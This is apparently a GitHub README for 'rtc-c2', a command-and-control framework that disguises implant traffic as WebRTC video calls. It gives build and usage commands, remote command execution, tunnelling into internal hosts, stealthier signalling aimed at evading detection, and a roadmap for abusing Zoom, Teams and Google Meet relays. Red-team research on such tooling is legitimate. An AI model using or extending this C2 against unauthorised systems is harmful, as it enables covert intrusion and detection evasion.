h0mi3e/rtc-c2

GitHub: h0mi3e/rtc-c2

基于 WebRTC 的命令与控制框架,通过加密数据通道将 C2 流量伪装为视频通话,支持端口转发和远程命令执行。

Stars: 0 | Forks: 0

免责声明:仅供授权安全测试和教育目的使用 # rtc-c2 🖤 **基于 WebRTC 的命令与控制 (C2) 框架。** 通过加密的 WebRTC 数据通道进行直接 TCP 转发 —— 类似于 SSH `-L` 风格的端口转发,但封装在 DTLS 隧道内部。 ``` ┌─────────────────┐ ┌──────────────────────┐ ┌──────────────────┐ │ Operator │ │ TURN/STUN Relay │ │ Beacon │ │ (C2 Server) │───▶│ (Provider Infra) │◀───│ (Implant) │ │ │ │ ── DTLS tunnel ──▶ │ │ │ │ - Direct fwd │ │ Encrypted WebRTC │ │ - Task executor │ │ - Task dispatch │ │ data channel │ │ - Tunnel fwd │ │ - Console │ │ Indistinguishable │ │ - Persistence │ │ - WS signaller │ │ from video calls │ │ │ └─────────────────┘ └──────────────────────┘ └──────────────────┘ ``` ## 功能特性 | 组件 | 方式 | |-----------|-------| | Transport | Pion WebRTC + Google STUN | | Signaller | HTTP 或 **WebSocket** 汇聚点 (WS = 更隐蔽) | | Tunnel | 基于 WebRTC 的**直接 TCP 转发** | | Protocol | 基于 DTLS 的 JSON 信封 | ### 幽灵呼叫 (路线图) | 组件 | 方式 | |-----------|-------| | Transport | 提供商 TURN (Zoom/Google/Teams) | | Signaller | 会议邀请协议 | | Tunnel | 基于提供商媒体中继的直接 TCP | | Auth | 会议加入凭证 (临时的) | | Infra | **零** —— 无需 VPS,无需域名,无需证书 | ## 环境要求 - Go 1.21+ ## 编译 ``` git clone https://github.com/h0mi3e/rtc-c2 cd rtc-c2 make build ``` Windows/Linux/macOS 的二进制文件位于 `bin/` 目录下。 ## 快速入门 **终端 1 — 操作端 (Operator):** ``` ./bin/operator -sig-addr :9090 -session my-session ``` **终端 2 — 信标端 (Beacon):** ``` ./bin/beacon -signaller http://127.0.0.1:9090 -session my-session ``` 一旦信标端连接成功: ``` === rtc-c2 Operator Console === > beacons Connected beacons (1): ------------------------------------------------------------ Beacon ID User@Host OS Arch ------------------------------------------------------------ hostname-1234... user@host linux amd64 > use hostname-1234 [+] Using beacon abc123def456 (user@host) > exec whoami [*] Task sent > exec uname -a > info > back ``` ## 直接 TCP 转发 使用 `forward` 命令通过信标端进行**直接 TCP 转发**: ``` # 在 operator 控制台中: > forward 127.0.0.1:4444 10.0.1.100:80 [+] Forward: 127.0.0.1:4444 -> 10.0.1.100:80 (via active beacon) > forwards Active forwards: 127.0.0.1:4444 -> 10.0.1.100:80 (via beacon) ``` 然后在另一个终端中: ``` # 将你的浏览器/工具指向 localhost:4444 curl http://127.0.0.1:4444/resource # 或使用 --resolve 获取干净的主机名 curl http://internal.corp/resource --resolve internal.corp:80:127.0.0.1 ``` 管理转发: ``` > forwards # list active forwards > stop-forward :4444 # stop a forward ``` 实际发生的过程: 1. 操作端监听 `127.0.0.1:4444` 2. 原始 TCP 数据被封装进 WebRTC 消息中 → 发送给信标端 3. 信标端连接到 `10.0.1.100:80` 并桥接该连接 ## WebSocket 信令服务 为了实现更隐蔽的 SDP 交换,请使用 WebSocket 代替 HTTP 轮询: ``` # Operator ./bin/operator -sig-addr :9090 -session stealth -ws # Beacon ./bin/beacon -signaller http://127.0.0.1:9090 -session stealth -ws ``` WebSocket 信令服务保持持久连接 —— 看起来就像正常的 Web 应用数据流,而不是 HTTP 轮询。更难被检测为 C2 流量。 ## 命令 ### 操作端控制台 | 命令 | 描述 | |---------|-------------| | `beacons` | 列出已连接的信标端 | | `use ` | 打开与信标端的交互式会话 | | `forward ` | 直接 TCP 转发 (SSH -L 风格) | | `forwards` | 列出活动的转发 | | `stop-forward ` | 停止转发监听器 | | `help` | 显示帮助 | | `exit` | 关闭退出 | ### 信标端会话 | 命令 | 描述 | |---------|-------------| | `exec ` | 在信标端上运行命令 | | `info` | 获取系统信息 | | `whoami` | 获取用户身份 | | `download ` | 从信标端下载文件 | | `back` | 返回主菜单 | ## 项目结构 ``` rtc-c2/ ├── cmd/ │ ├── operator/ # C2 server binary │ │ └── main.go │ └── beacon/ # Implant binary │ ├── main.go │ └── util.go ├── pkg/ │ ├── transport/ # WebRTC peer connection │ │ ├── config.go │ │ └── peer.go │ ├── signaller/ # SDP exchange (HTTP + WebSocket) │ │ ├── signaller.go │ │ └── websocket.go │ ├── protocol/ # C2 message protocol │ │ ├── message.go │ │ └── task.go │ └── tunnel/ # Direct TCP forward over WebRTC │ ├── listener.go # Operator-side forward listener │ └── forward.go # Beacon-side connection forwarder ├── bin/ # Build output ├── Makefile ├── go.mod / go.sum └── README.md ``` ## 幽灵呼叫路线图 长远目标是利用提供商的 WebRTC 基础设施实现零基础设施 C2: - **Google Meet:** 通过 API 创建会议 → 信标端加入 → 下发 Google 的 TURN 中继 → 一切都通过 Google 的基础设施运行 - **Jitsi Meet:** 自托管 WebRTC —— 免费、开源、完全可控 - **Zoom:** 逆向工程专有的 WebRTC 认证流程 - **Teams:** SAML/OAuth token → TURN 中继认证 | 阶段 | 内容 | 所需基础设施 | |-------|------|-------------| | 1 | 开发模式 (HTTP/WS 信令服务) | 局域网或同一 VPC | | 2 | 自托管 TURN (coturn) | 开放了 UDP 的 VPS | | 3 | Jitsi Meet 集成 | Jitsi 服务器或 meet.jit.si | | 4 | Google Meet 集成 | 无 —— 只需要一个 Gmail 机器人 | | 5 | Zoom + Teams | 无 —— 加入现有基础设施即可 | ## 添加新的任务类型 1. 在 `pkg/protocol/task.go` 中添加 `TaskType` 常量 2. 如有需要,添加参数结构体 3. 在 `beacon/main.go` 的 `executeTask()` 中添加处理程序的 case 分支 由 **ek0ms** 🖤 构建 — Church of Malware
标签:C2框架, DAST, DTLS加密, EVTX分析, Go语言, Pion WebRTC, STUN/TURN, TCP转发, WebRTC, WebSocket, 依赖分析, 信标, 内网穿透, 命令与控制, 威胁情报, 安全学习资源, 安全测试, 开发者工具, 恶意软件分析, 攻击性安全, 日志审计, 流量伪装, 程序破解, 端口转发, 网络信息收集, 网络渗透, 视频通话伪装, 远程控制, 隐蔽隧道, 零基础设施